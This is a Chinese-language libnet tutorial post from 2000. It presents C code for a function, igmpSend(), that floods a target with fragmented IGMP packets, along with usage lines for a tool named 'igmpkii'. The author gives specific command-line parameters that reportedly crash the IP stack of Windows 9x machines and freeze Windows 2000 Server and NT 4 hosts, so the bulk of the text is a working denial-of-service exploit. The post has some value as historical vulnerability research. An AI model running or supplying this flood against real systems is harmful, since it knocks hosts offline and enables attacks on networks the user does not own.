標題:libnet使用舉例(10)
作者:小四 < mailto: scz@nsfocus.com >
首頁:http://www.nsfocus.com
日期:2000-08-09
注意看igmpSend()部分,實際也是一個分區發生器,準備修改一下,不每次固定發送
11個分區,允許使用者指定分區個數,允許指定分區大小,前面這個程式固定IP分區的
資料區負載為1480,對於某些MTU、對於某些TCP/IP實現,不一定能通過。而現在DoS
原因未明,正好可以修改攻擊程式測試到底是重組後巨大報文出現問題還是分區數量
過多(即使單個分區並不大)出問題。有一點要注意,如果發包速度不快、發包數量不
夠,是不會有效DoS的。袁哥判斷目標還是做了一定程度的異常處理,但不徹底。尤
其是所有迴圈中IP分區的id域保持一致,會不會對目標機IP分區重組帶來影響。
命令列上另外指定分區大小(以8bytes為單位),指定分區個數(在一輪迴圈內,不包
括最後一個分區),最後一個分區固定8位元組的負載。
--------------------------------------------------------------------------
void igmpSend ( u_long srcIp, u_long dstIp )
{
u_short ipDataLen;
u_short frag;
u_short bit;
bit = 0;
ipDataLen = 8; /* 8位元組的負載 */
frag = fragNumber * fragSize;
do
{
/* 構造IP頭 */
libnet_build_ip( ipDataLen, /* IP資料區長度 */
IPTOS_LOWDELAY, /* IP tos */
19774, /* IP ID */
frag | bit, /* frag stuff */
255, /* TTL */
IPPROTO_IGMP, /* 上層協議 */
srcIp, /* big-endian序 */
dstIp, /* 目標IP */
NULL, /* 無選項 */
0, /* 選項長度零 */
packet ); /* 指向IP頭 */
Libnet_write_ip( rawSocket, packet, LIBNET_IP_H + ipDataLen );
if ( frag == 0 )
{
break;
}
ipDataLen = fragSize * 8;
bit = 0x2000; /* 非最後分區 */
frag -= fragSize; /* 都是以8位元組為單位 */
} while ( 1 ); /* 總共11個分區發送出去 */
return;
} /* end of igmpSend */
--------------------------------------------------------------------------
Usage: ./igmpkii [--si srcIp] [--di dstIp] [--num igmpNumber]
[--fs fragSize] [--fn fragNumber]
./igmpkii --di 192.168.8.90 --num 1 --fs 1 --fn 2000 這條命令就足以打癱目
標主機的IP協議棧,說明分區大小不重要,主要還是分區數量太多造成DoS。
錯誤資訊如下:
An exception 0E has ocurred at 0028:C14ACF62 in VxD VIP(01) + 00006C72.
This was called from 0028:C001C104 in VxD NDIS(01) + 00004620.
看樣子要分析就要看vip.386了,咱可沒那功力沒那興趣,閃!
一直以為對Windows 2000 Server/Advanced Server攻擊無效,原來是實驗資料不到
位,下面這組資料可以凍僵住目標主機,包括NT 4 Server SP5,SP6未測試,應該有
效。能否跨廣域網路攻擊,不清楚。
./igmpkii --si 192.168.10.5 --di 192.168.8.66 --num 420000 --fs 184 --fn 80